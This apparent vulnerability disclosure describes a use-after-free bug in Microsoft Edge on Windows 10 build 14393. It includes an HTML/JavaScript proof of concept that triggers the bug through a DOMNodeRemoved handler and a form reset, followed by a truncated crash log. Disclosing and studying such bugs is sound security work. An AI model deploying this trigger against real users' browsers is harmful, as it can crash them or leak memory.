There is a use-after free vulnerability in Microsoft Edge that can lead to memory disclosure. The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198), Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.
PoC:

<script>
var n = 0;
function go() {
document.addEventListener("DOMNodeRemoved", eventhandler);
eventhandler();
}
function eventhandler() {
n++; if(n==5) return; //prevent going into an infinite recursion
t.defaultValue = "aaaaaaaaaaaaaaaaaaaa";
f.reset();
}
</script>
<body onload=go()>
<form id="f">
<textarea id="t">aaa</textarea>
=========================================
This seems to be the same bug as <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1076" title="" class="" rel="nofollow">https://bugs.chromium.org/p/project-zero/issues/detail?id=1076</a> only that one is in IE and this one is in Edge.
I don't have symbols for the latest Edge after May update, so crash log doesn't make much sense but here it is anyway:
=========================================
(1618.1258): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
